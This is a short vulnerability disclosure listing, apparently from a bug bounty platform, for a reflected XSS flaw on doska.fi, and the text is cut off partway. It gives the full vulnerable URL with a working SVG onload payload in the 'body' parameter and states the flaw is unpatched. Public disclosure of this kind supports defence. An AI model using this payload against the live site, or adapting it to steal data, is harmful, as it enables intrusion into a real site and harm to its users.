doska.fi XSS vulnerability

Vulnerable URL: http://www.doska.fi/index.php?ac=9submit=%D0%9F%D1%80%D0%BE%D0%B8%D0%B7%D0%B2%D0%B5%D1%81%D1%82%D0%B8+%D0%BF%D0%BE%D0%B8%D1%81%D0%BAbody=aaaaa%22%3E%3Csvg/onload=prompt/OPENBUGBOUNTY/%3Eobnum=phone=title=user= Details: Description| Value ---|--- Patched:| No Latest check for patch...